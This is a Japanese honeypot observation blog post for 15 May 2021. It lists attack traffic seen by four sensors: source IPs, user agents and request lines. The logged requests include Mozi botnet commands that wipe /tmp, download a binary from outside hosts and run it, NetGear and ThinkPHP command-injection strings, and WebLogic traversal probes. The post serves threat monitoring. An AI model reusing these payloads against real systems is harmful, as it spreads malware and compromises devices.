コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/05/15 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/05/15分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

Anarchy99によるスキャン行為
.tar.bz2へのスキャン行為
phpMyAdminへのスキャン行為
45[.]85[.]219[.]177に関する不正通信
110[.]242[.]68[.]4に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//36[.]35[.]43[.]74:37239/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

NetGear製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
45[.]85[.]219[.]177に関する不正通信
UserAgentがHello, worldであるアクセス
Gh0stRATのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//27[.]40[.]121[.]241:53187/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：UK

Oracle WebLogicの脆弱性(CVE-2020-14882,CVE-2020-14883,CVE-2020-14750)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Nmap Scripting Engineによるスキャン行為
zgrabによるスキャン行為
.tar.bz2へのスキャン行為
45[.]85[.]219[.]177に関する不正通信
UserAgentがHello, Worldであるアクセス
を確認しました。

Location：SG

NetGear製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//178[.]175[.]67[.]229:48440/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
他
アクセス数推移

JP：総アクセス数：115 (前日比：-86)
US：総アクセス数：50 (前日比：+2)
UK：総アクセス数：129 (前日比：+93)
SG：総アクセス数：142 (前日比：+109)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 3.143.170.242 United States
1 13.67.91.82 United States
3 13.69.124.157 United States
1 13.90.89.185 United States
2 20.185.62.234 United States
1 27.5.18.209 India
9 31.210.20.127 Netherlands
1 35.81.81.4 United States
1 35.184.151.175 United States
1 36.5.159.163 China
1 36.32.3.150 China
1 36.35.43.74 China
1 37.120.234.18 Romania
1 45.81.235.167 Germany
11 45.155.205.181 Russia
2 51.141.55.151 United Kingdom
1 60.208.167.27 China
1 61.52.76.236 China
1 62.210.5.253 France
36 80.82.78.39 United Kingdom
2 81.68.111.76 China
1 98.102.150.130 United States
1 106.45.11.87 China
1 113.128.104.124 China
1 120.85.111.159 China
1 120.85.111.252 China
3 120.230.196.54 China
1 123.191.149.230 China
1 125.72.95.178 China
5 132.145.151.103 United States
3 132.145.196.125 United States
7 140.210.90.75 China
1 142.93.75.96 United States
1 157.245.70.44 United States
1 160.177.245.127 Morocco
1 172.104.242.173 United States
1 175.184.167.250 China
2 179.60.150.46 United Kingdom
1 188.166.90.250 United States
1 193.23.127.103 Germany
1 193.46.255.97 Romania
1 209.126.124.250 United States

UserAgent一覧

件数 UserAgent
6 -
1 Anarchy99
1 Hello, World
1 Hello, world
35 Mozilla/5.0
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
9 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
7 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
23 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
1 Mozilla/5.01669615 Mozilla/5.0 (Linux; Android 5.1; S900PROBT Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x16\x03\x01
1 CONNECT 45[.]85[.]219[.]177:4444 HTTP/1.1
1 CONNECT cn[.]bing[.]com/:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com/:443 HTTP/1.1
1 CONNECT www[.]so[.]com/:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com/:443 HTTP/1.1
25 GET /.env HTTP/1.1
1 GET /0.tar.bz2 HTTP/1.1
1 GET /1.tar.bz2 HTTP/1.1
1 GET /2.tar.bz2 HTTP/1.1
1 GET /3.tar.bz2 HTTP/1.1
1 GET /4.tar.bz2 HTTP/1.1
1 GET /5.tar.bz2 HTTP/1.1
1 GET /6.tar.bz2 HTTP/1.1
1 GET /7.tar.bz2 HTTP/1.1
1 GET /8.tar.bz2 HTTP/1.1
1 GET /9.tar.bz2 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /a.tar.bz2 HTTP/1.1
1 GET /admin/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /assets/.env HTTP/1.1
1 GET /b.tar.bz2 HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /c.tar.bz2 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /d.tar.bz2 HTTP/1.1
1 GET /e.tar.bz2 HTTP/1.1
1 GET /f.tar.bz2 HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /h.tar.bz2 HTTP/1.1
1 GET /i.tar.bz2 HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /j.tar.bz2 HTTP/1.1
1 GET /jenkins/login HTTP/1.1
1 GET /k.tar.bz2 HTTP/1.1
1 GET /l.tar.bz2 HTTP/1.1
2 GET /laravel/.env HTTP/1.1
1 GET /login HTTP/1.1
1 GET /m.tar.bz2 HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /n.tar.bz2 HTTP/1.1
1 GET /o.tar.bz2 HTTP/1.1
1 GET /p.tar.bz2 HTTP/1.1
2 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /q.tar.bz2 HTTP/1.1
1 GET /r.tar.bz2 HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /s.tar.bz2 HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//36[.]35[.]43[.]74:37239/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /t.tar.bz2 HTTP/1.1
1 GET /u.tar.bz2 HTTP/1.1
1 GET /v.tar.bz2 HTTP/1.1
1 GET /vendor/.env HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w.tar.bz2 HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /wp-login.php HTTP/1.1
1 GET /x.tar.bz2 HTTP/1.1
1 GET /y.tar.bz2 HTTP/1.1
1 GET /z.tar.bz2 HTTP/1.1
1 GET http[:]//ip-hide[.]net/ok.css HTTP/1.0
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /_ignition/execute-solution HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 3.101.151.209 United States
1 27.40.121.241 China
2 45.81.235.167 Germany
11 45.155.205.181 Russia
2 46.249.32.208 Netherlands
5 50.116.7.112 United States
1 50.245.227.212 United States
1 51.89.208.14 France
1 77.247.110.177 Belize
1 79.124.62.254 Bulgaria
1 80.82.76.46 United Kingdom
10 81.68.211.26 China
1 124.132.14.25 China
1 125.41.96.94 China
1 143.198.225.181 United States
1 149.129.50.37 Singapore
3 163.172.168.251 United Kingdom
1 167.99.49.31 United States
1 172.245.158.3 United States
1 188.166.90.250 United States
1 192.241.218.17 United States
1 192.241.220.248 United States
1 193.46.255.97 Romania

UserAgent一覧

件数 UserAgent
14 -
1 Go-http-client/1.1
1 Hello, world
1 Mozilla/3.0 (Liberate DTV 1.1)
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 OPR/56.0.3051.116
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
1 HELP
1 \x03
1 \x16\x03\x01
1 \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1 \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff
2 CONNECT 45[.]85[.]219[.]177:4444 HTTP/1.1
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
1 GET ../../proc/ HTTP
6 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
2 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//124[.]132[.]14[.]25:40884/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//27[.]40[.]121[.]241:53187/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 GET http[:]//www[.]proxylists[.]net/proxyjudge.php HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
2 POST /boaform/admin/formLogin HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//ritarudnicki[.]site/fcf0a6c700dd13e274b6fba8deea8dd9b26e4eedde3495717cac8408c9c5177f3232b93b74323720c0c63f79051ccb1a0505bf689a0a7442ccdd55b63189a9875e16e3460f8ad7b08a77ad1ca35b31fb31ac44de54fbd99cd4737eb7bed5b405 HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
5 45.81.235.167 Germany
11 45.155.205.181 Russia
1 46.249.32.208 Netherlands
4 71.6.199.23 United States
33 80.82.78.39 United Kingdom
1 84.38.186.69 Russia
1 94.232.42.169 Russia
1 120.6.161.126 China
1 122.228.19.80 China
62 140.238.154.239 United States
1 162.62.123.46 Singapore
1 165.227.152.43 United States
1 172.104.242.173 United States
1 172.105.89.161 United States
1 178.175.38.68 Albania
1 178.248.114.4 Germany
1 192.241.217.147 United States
2 193.23.127.103 Germany

UserAgent一覧

件数 UserAgent
16 -
2 Hello, World
32 Mozilla/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
62 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
1 Mozilla/5.0 zgrab/0.x
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 \x16\x03\x01
5 CONNECT 45[.]85[.]219[.]177:4444 HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /0.tar.bz2 HTTP/1.1
2 GET /0bef HTTP/1.0
1 GET /1.tar.bz2 HTTP/1.1
1 GET /2.tar.bz2 HTTP/1.1
1 GET /3.tar.bz2 HTTP/1.1
1 GET /4.tar.bz2 HTTP/1.1
1 GET /6.tar.bz2 HTTP/1.1
1 GET /7.tar.bz2 HTTP/1.1
1 GET /8.tar.bz2 HTTP/1.1
1 GET /9.tar.bz2 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /HNAP1/ HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /a.tar.bz2 HTTP/1.1
1 GET /api/spec.json HTTP/1.1
1 GET /c.tar.bz2 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /console/css/%252E%252E%252Fconsole.portal HTTP/1.1
1 GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
1 GET /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
1 GET /console/images/%252e%252e%252fconsole.portal HTTP/1.1
1 GET /d.tar.bz2 HTTP/1.1
1 GET /e.tar.bz2 HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /g.tar.bz2 HTTP/1.1
1 GET /h.tar.bz2 HTTP/1.1
1 GET /i.tar.bz2 HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /j.tar.bz2 HTTP/1.1
1 GET /k.tar.bz2 HTTP/1.1
1 GET /l.tar.bz2 HTTP/1.1
1 GET /m.tar.bz2 HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /n.tar.bz2 HTTP/1.1
1 GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
1 GET /nmaplowercheck1620955550 HTTP/1.1
1 GET /o.tar.bz2 HTTP/1.1
1 GET /p.tar.bz2 HTTP/1.1
1 GET /q.tar.bz2 HTTP/1.1
1 GET /r.tar.bz2 HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /s.tar.bz2 HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /spec/api.json HTTP/1.1
1 GET /t.tar.bz2 HTTP/1.1
1 GET /u.tar.bz2 HTTP/1.1
1 GET /ui HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /w.tar.bz2 HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET /x.tar.bz2 HTTP/1.1
1 GET /y.tar.bz2 HTTP/1.1
1 GET /z.tar.bz2 HTTP/1.1
2 GET http[:]//ip-hide[.]net/ok.css HTTP/1.0
1 HEAD /actuator HTTP/1.1
1 HEAD /actuator/auditevents HTTP/1.1
1 HEAD /actuator/beans HTTP/1.1
1 HEAD /actuator/conditions HTTP/1.1
1 HEAD /actuator/configprops HTTP/1.1
1 HEAD /actuator/env HTTP/1.1
1 HEAD /actuator/health HTTP/1.1
1 HEAD /actuator/heapdump HTTP/1.1
1 HEAD /actuator/httptrace HTTP/1.1
1 HEAD /actuator/hystrix.stream HTTP/1.1
1 HEAD /actuator/info HTTP/1.1
1 HEAD /actuator/jolokia HTTP/1.1
1 HEAD /actuator/loggers HTTP/1.1
1 HEAD /actuator/mappings HTTP/1.1
1 HEAD /actuator/metrics HTTP/1.1
1 HEAD /actuator/scheduledtasks HTTP/1.1
1 HEAD /actuator/threaddump HTTP/1.1
1 HEAD /auditevents HTTP/1.1
1 HEAD /autoconfig HTTP/1.1
1 HEAD /beans HTTP/1.1
1 HEAD /cloudfoundryapplication HTTP/1.1
1 HEAD /configprops HTTP/1.1
1 HEAD /dump HTTP/1.1
1 HEAD /env HTTP/1.1
1 HEAD /health HTTP/1.1
1 HEAD /heapdump HTTP/1.1
1 HEAD /hystrix.stream HTTP/1.1
1 HEAD /info HTTP/1.1
1 HEAD /jolokia HTTP/1.1
1 HEAD /loggers HTTP/1.1
1 HEAD /mappings HTTP/1.1
1 HEAD /metrics HTTP/1.1
1 HEAD /threaddump HTTP/1.1
1 HEAD /trace HTTP/1.1
1 HJPW / HTTP/1.1
11 OPTIONS / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PROPFIND / HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.82.1.95 United States
1 27.38.248.245 China
1 45.133.1.162 Netherlands
11 45.155.205.181 Russia
1 46.249.32.208 Netherlands
1 50.116.44.103 United States
1 51.255.3.45 France
101 94.31.86.178 Germany
1 94.232.42.169 Russia
1 95.32.140.179 Russia
3 120.230.210.79 China
9 142.93.70.226 United States
1 142.93.75.96 United States
3 163.172.159.134 United Kingdom
1 172.104.242.173 United States
1 172.105.89.161 United States
1 178.175.67.229 Albania
1 188.166.90.250 United States
1 192.241.220.243 United States
1 193.46.255.97 Romania

UserAgent一覧

件数 UserAgent
7 -
1 Hello, World
1 Hello, world
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.3; rv:57.0) Gecko/20100101 Firefox/57.0
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
1 VLC/3.0.8 LibVLC/3.0.8
1 python-requests/2.18.4

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
5 GET /.env HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /client_area/ HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /manager/text/list HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /phpmyadmin4.8.5/index.php HTTP/1.1
1 GET /pmd/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//95[.]32[.]140[.]179:48628/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//178[.]175[.]67[.]229:48440/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/ HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
2 GET /system_api.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//ritarudnicki[.]site/319fcdda0f9273f4c9f77ccfe904645dc2827192f3b456fb656b1cb3b706c8b55fa3f66cec1d67a458f9ab870007ec405fc1b431b91d36d608221f182e6c9d2181f2c1f3479974af4ed4847c9b82806fb7ec8b91cb6e55f092df50b57e292ac9 HTTP/1.1